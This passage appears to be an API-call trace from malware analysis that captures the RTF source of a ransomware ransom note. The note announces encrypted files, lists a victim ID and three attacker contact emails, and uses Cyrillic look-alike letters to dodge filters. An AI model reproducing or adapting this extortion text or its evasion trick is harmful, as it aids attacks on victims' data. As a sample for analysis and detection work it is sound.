Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n 